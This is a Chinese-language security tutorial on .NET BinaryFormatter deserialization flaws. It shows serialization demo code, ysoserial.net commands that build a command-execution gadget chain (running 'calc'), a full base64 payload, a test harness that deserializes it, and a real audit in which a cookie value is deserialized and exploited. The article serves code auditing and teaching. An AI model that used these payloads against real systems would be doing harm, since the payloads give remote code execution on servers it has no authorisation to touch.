代码审计-.NET下的序列化与反序列化(BinaryFormatter)

文章来源：重生信息安全

前言

本文将介绍BinaryFormatter序列化与反序列化漏洞的原理以及实际应用场景中的代码审计。

之前本博客就有发表过多篇NET反序列化漏洞的文章:

JavaScriptSerializer：https://www.websecuritys.cn/archives/136.html

Json.Net: https://www.websecuritys.cn/archives/netxlh-1.html

JavaScriptSerializer和Json.Net要想在反序列化过程中执行命令，都需要一些特定条件。

如:

JavaScriptSerializer （需实例化SimpleTypeResolver类）

示例代码：

JavaScriptSerializer jss = new JavaScriptSerializer(new SimpleTypeResolver());

Json.Net (需重写TypeNameHandling,不为None)

示例代码：

Object js = JsonConvert.DeserializeObject(json,new JsonSerializerSettings 
{TypeNameHandling=TypeNameHandling.All }
);

以上条件,在实际应用场景中，并不常见。

相比BinaryFormatter，就不需要这么麻烦了。

序列化的实现

序列化:

序列化是将对象状态转换为可保持或传输的形式的过程.

1.先声明一个class类。

public class testdemo
    {
    public string name;
    public int age;
    }

类中定义两个变量，name和age

使用BinaryFormatter进行序列化

需要先引入System.Runtime.Serialization.Formatters.Binary;

使用Serialize方法来进行序列化

完整代码:

using Evan.Encrypt;
using Newtonsoft.Json.Linq;
using NPOI.SS.Formula.Functions;
using System;
using System.IO;
using System.Runtime.Serialization.Formatters.Binary;
using System.Runtime.Serialization.Json;
using System.Text;

namespace ConsoleApp9
{
  class Program
  {

    static void Main(string[] args)
    {
      testdemo ts = new testdemo();
      ts.name = "yuanhai";
      ts.age = 18;
      BinaryFormatter fs = new BinaryFormatter();
      FileStream st = new FileStream(@"D:\test.dat", FileMode.Create);
      fs.Serialize(st, ts);
      st.Close();
      Console.ReadKey();

    }
  }

  [Serializable]
  public class testdemo
    {
    public string name;
    public int age;
    }
}

转换后的数据格式如下：

反序列化的实现

反序列化:

序列化的补集是反序列化，后者将流转换为对象。这两个过程一起保证能够存储和传输数据。

BinaryFormatter提供了4个不同反序列化方法，分别是Deserialize、DeserializeMethodResponse、UnsafeDeserialize、UnsafeDeserializeMethodResponse。这里只对Deserialize进行演示。

1.将刚刚序列化过后的内容进行反序列化。

完整代码:

using Evan.Encrypt;
using Newtonsoft.Json.Linq;
using NPOI.SS.Formula.Functions;
using System;
using System.IO;
using System.Runtime.Serialization.Formatters.Binary;
using System.Runtime.Serialization.Json;
using System.Text;

namespace ConsoleApp9
{
  class Program
  {

    static void Main(string[] args)
    {
      testdemo ts = new testdemo();
      ts.name = "yuanhai";
      ts.age = 18;
      BinaryFormatter fs = new BinaryFormatter();
      FileStream st = new FileStream(@"D:\test.dat", FileMode.Create);
      fs.Serialize(st, ts);
      st.Close();

      BinaryFormatter fs1 = new BinaryFormatter();
      FileStream st1 = new FileStream(@"D:\test.dat", FileMode.Open);
      var result = fs1.Deserialize(st1);
      Console.WriteLine(((testdemo)result).name);
      Console.ReadKey();
      Console.ReadKey();

    }
  }

  [Serializable]
  public class testdemo
    {
    public string name;
    public int age;
    }
}

反序列化漏洞的触发:

BinaryFormatter和SoapFormatter 一样。不需要其他硬性条件。如(Json.Net需重写TypeNameHandling不为None)

因为其最终都继承了IFormatter

反序列化漏洞复现:

使用ysoserial.net 生成Payload

./ysoserial.exe -f BinaryFormatter -g WindowsIdentity -o raw -c "calc" -t > D:\test.dat

将Payload存储到D盘下的test.dat文件。

然后使用FileStream读取该文件的内容进行反序列化。

这里就使用base64进行转码实现。

./ysoserial.exe -f BinaryFormatter -g WindowsIdentity -o base64 -c "calc" -t

Payload:

AAEAAAD/////AQAAAAAAAAAEAQAAAClTeXN0ZW0uU2VjdXJpdHkuUHJpbmNpcGFsLldpbmRvd3NJZGVudGl0eQEAAAAkU3lzdGVtLlNlY3VyaXR5LkNsYWltc0lkZW50aXR5LmFjdG9yAQYCAAAArBdBQUVBQUFELy8vLy9BUUFBQUFBQUFBQU1BZ0FBQUVsVGVYTjBaVzBzSUZabGNuTnBiMjQ5TkM0d0xqQXVNQ3dnUTNWc2RIVnlaVDF1WlhWMGNtRnNMQ0JRZFdKc2FXTkxaWGxVYjJ0bGJqMWlOemRoTldNMU5qRTVNelJsTURnNUJRRUFBQUNFQVZONWMzUmxiUzVEYjJ4c1pXTjBhVzl1Y3k1SFpXNWxjbWxqTGxOdmNuUmxaRk5sZEdBeFcxdFRlWE4wWlcwdVUzUnlhVzVuTENCdGMyTnZjbXhwWWl3Z1ZtVnljMmx2YmowMExqQXVNQzR3TENCRGRXeDBkWEpsUFc1bGRYUnlZV3dzSUZCMVlteHBZMHRsZVZSdmEyVnVQV0kzTjJFMVl6VTJNVGt6TkdVd09EbGRYUVFBQUFBRlEyOTFiblFJUTI5dGNHRnlaWElIVm1WeWMybHZiZ1ZKZEdWdGN3QURBQVlJalFGVGVYTjBaVzB1UTI5c2JHVmpkR2x2Ym5NdVIyVnVaWEpwWXk1RGIyMXdZWEpwYzI5dVEyOXRjR0Z5WlhKZ01WdGJVM2x6ZEdWdExsTjBjbWx1Wnl3Z2JYTmpiM0pzYVdJc0lGWmxjbk5wYjI0OU5DNHdMakF1TUN3Z1EzVnNkSFZ5WlQxdVpYVjBjbUZzTENCUWRXSnNhV05MWlhsVWIydGxiajFpTnpkaE5XTTFOakU1TXpSbE1EZzVYVjBJQWdBQUFBSUFBQUFKQXdBQUFBSUFBQUFKQkFBQUFBUURBQUFBalFGVGVYTjBaVzB1UTI5c2JHVmpkR2x2Ym5NdVIyVnVaWEpwWXk1RGIyMXdZWEpwYzI5dVEyOXRjR0Z5WlhKZ01WdGJVM2x6ZEdWdExsTjBjbWx1Wnl3Z2JYTmpiM0pzYVdJc0lGWmxjbk5wYjI0OU5DNHdMakF1TUN3Z1EzVnNkSFZ5WlQxdVpYVjBjbUZzTENCUWRXSnNhV05MWlhsVWIydGxiajFpTnpkaE5XTTFOakU1TXpSbE1EZzVYVjBCQUFBQUMxOWpiMjF3WVhKcGMyOXVBeUpUZVhOMFpXMHVSR1ZzWldkaGRHVlRaWEpwWVd4cGVtRjBhVzl1U0c5c1pHVnlDUVVBQUFBUkJBQUFBQUlBQUFBR0JnQUFBQWN2WXlCallXeGpCZ2NBQUFBRFkyMWtCQVVBQUFBaVUzbHpkR1Z0TGtSbGJHVm5ZWFJsVTJWeWFXRnNhWHBoZEdsdmJraHZiR1JsY2dNQUFBQUlSR1ZzWldkaGRHVUhiV1YwYUc5a01BZHRaWFJvYjJReEF3TURNRk41YzNSbGJTNUVaV3hsWjJGMFpWTmxjbWxoYkdsNllYUnBiMjVJYjJ4a1pYSXJSR1ZzWldkaGRHVkZiblJ5ZVM5VGVYTjBaVzB1VW1WbWJHVmpkR2x2Ymk1TlpXMWlaWEpKYm1adlUyVnlhV0ZzYVhwaGRHbHZia2h2YkdSbGNpOVRlWE4wWlcwdVVtVm1iR1ZqZEdsdmJpNU5aVzFpWlhKSmJtWnZVMlZ5YVdGc2FYcGhkR2x2YmtodmJHUmxjZ2tJQUFBQUNRa0FBQUFKQ2dBQUFBUUlBQUFBTUZONWMzUmxiUzVFWld4bFoyRjBaVk5sY21saGJHbDZZWFJwYjI1SWIyeGtaWElyUkdWc1pXZGhkR1ZGYm5SeWVRY0FBQUFFZEhsd1pRaGhjM05sYldKc2VRWjBZWEpuWlhRU2RHRnlaMlYwVkhsd1pVRnpjMlZ0WW14NURuUmhjbWRsZEZSNWNHVk9ZVzFsQ20xbGRHaHZaRTVoYldVTlpHVnNaV2RoZEdWRmJuUnllUUVCQWdFQkFRTXdVM2x6ZEdWdExrUmxiR1ZuWVhSbFUyVnlhV0ZzYVhwaGRHbHZia2h2YkdSbGNpdEVaV3hsWjJGMFpVVnVkSEo1QmdzQUFBQ3dBbE41YzNSbGJTNUdkVzVqWUROYlcxTjVjM1JsYlM1VGRISnBibWNzSUcxelkyOXliR2xpTENCV1pYSnphVzl1UFRRdU1DNHdMakFzSUVOMWJIUjFjbVU5Ym1WMWRISmhiQ3dnVUhWaWJHbGpTMlY1Vkc5clpXNDlZamMzWVRWak5UWXhPVE0wWlRBNE9WMHNXMU41YzNSbGJTNVRkSEpwYm1jc0lHMXpZMjl5YkdsaUxDQldaWEp6YVc5dVBUUXVNQzR3TGpBc0lFTjFiSFIxY21VOWJtVjFkSEpoYkN3Z1VIVmliR2xqUzJWNVZHOXJaVzQ5WWpjM1lUVmpOVFl4T1RNMFpUQTRPVjBzVzFONWMzUmxiUzVFYVdGbmJtOXpkR2xqY3k1UWNtOWpaWE56TENCVGVYTjBaVzBzSUZabGNuTnBiMjQ5TkM0d0xqQXVNQ3dnUTNWc2RIVnlaVDF1WlhWMGNtRnNMQ0JRZFdKc2FXTkxaWGxVYjJ0bGJqMWlOemRoTldNMU5qRTVNelJsTURnNVhWMEdEQUFBQUV0dGMyTnZjbXhwWWl3Z1ZtVnljMmx2YmowMExqQXVNQzR3TENCRGRXeDBkWEpsUFc1bGRYUnlZV3dzSUZCMVlteHBZMHRsZVZSdmEyVnVQV0kzTjJFMVl6VTJNVGt6TkdVd09Ea0tCZzBBQUFCSlUzbHpkR1Z0TENCV1pYSnphVzl1UFRRdU1DNHdMakFzSUVOMWJIUjFjbVU5Ym1WMWRISmhiQ3dnVUhWaWJHbGpTMlY1Vkc5clpXNDlZamMzWVRWak5UWXhPVE0wWlRBNE9RWU9BQUFBR2xONWMzUmxiUzVFYVdGbmJtOXpkR2xqY3k1UWNtOWpaWE56Qmc4QUFBQUZVM1JoY25RSkVBQUFBQVFKQUFBQUwxTjVjM1JsYlM1U1pXWnNaV04wYVc5dUxrMWxiV0psY2tsdVptOVRaWEpwWVd4cGVtRjBhVzl1U0c5c1pHVnlCd0FBQUFST1lXMWxERUZ6YzJWdFlteDVUbUZ0WlFsRGJHRnpjMDVoYldVSlUybG5ibUYwZFhKbENsTnBaMjVoZEhWeVpUSUtUV1Z0WW1WeVZIbHdaUkJIWlc1bGNtbGpRWEpuZFcxbGJuUnpBUUVCQVFFQUF3Z05VM2x6ZEdWdExsUjVjR1ZiWFFrUEFBQUFDUTBBQUFBSkRnQUFBQVlVQUFBQVBsTjVjM1JsYlM1RWFXRm5ibTl6ZEdsamN5NVFjbTlqWlhOeklGTjBZWEowS0ZONWMzUmxiUzVUZEhKcGJtY3NJRk41YzNSbGJTNVRkSEpwYm1jcEJoVUFBQUErVTNsemRHVnRMa1JwWVdkdWIzTjBhV056TGxCeWIyTmxjM01nVTNSaGNuUW9VM2x6ZEdWdExsTjBjbWx1Wnl3Z1UzbHpkR1Z0TGxOMGNtbHVaeWtJQUFBQUNnRUtBQUFBQ1FBQUFBWVdBQUFBQjBOdmJYQmhjbVVKREFBQUFBWVlBQUFBRFZONWMzUmxiUzVUZEhKcGJtY0dHUUFBQUN0SmJuUXpNaUJEYjIxd1lYSmxLRk41YzNSbGJTNVRkSEpwYm1jc0lGTjVjM1JsYlM1VGRISnBibWNwQmhvQUFBQXlVM2x6ZEdWdExrbHVkRE15SUVOdmJYQmhjbVVvVTNsemRHVnRMbE4wY21sdVp5d2dVM2x6ZEdWdExsTjBjbWx1WnlrSUFBQUFDZ0VRQUFBQUNBQUFBQVliQUFBQWNWTjVjM1JsYlM1RGIyMXdZWEpwYzI5dVlERmJXMU41YzNSbGJTNVRkSEpwYm1jc0lHMXpZMjl5YkdsaUxDQldaWEp6YVc5dVBUUXVNQzR3TGpBc0lFTjFiSFIxY21VOWJtVjFkSEpoYkN3Z1VIVmliR2xqUzJWNVZHOXJaVzQ5WWpjM1lUVmpOVFl4T1RNMFpUQTRPVjFkQ1F3QUFBQUtDUXdBQUFBSkdBQUFBQWtXQUFBQUNncz0L

测试代码:

using Evan.Encrypt;
using Newtonsoft.Json.Linq;
using NPOI.SS.Formula.Functions;
using System;
using System.IO;
using System.Runtime.Serialization.Formatters.Binary;
using System.Runtime.Serialization.Json;
using System.Text;

namespace ConsoleApp9
{
    class Program
    {

        static void Main(string[] args)
        {
            string text = "Payload";

            byte[] buffer = Convert.FromBase64String(text);
            Object sss = new BinaryFormatter().Deserialize(new MemoryStream(buffer, 0, buffer.Length));
            Console.ReadKey();

        }
    }
}

实现结果:

这里虽然提示错误，但是命令可以正常执行。在WEB中，也会显示500错误。

实际场景中的代码审计:

在对某系统进行审计时，在某方法中发现BinaryFormatter().Deserialize反序列化漏洞

该处方法为GetCookie疑似获取Cookie。

在查找中，最终发现某地址调用了该方法:

其中反序列化的值为获取Cookie中的某键。

那么，可以构造Payload:

由于最终获取到的是Base64。

那么传入进来的也需要进行base64加密

./ysoserial.exe -f BinaryFormatter -g WindowsIdentity -o base64 -c "calc" -t

这里简单的测试下dnslog

像目标地址发送Payload：

得到结果，证明漏洞存在:

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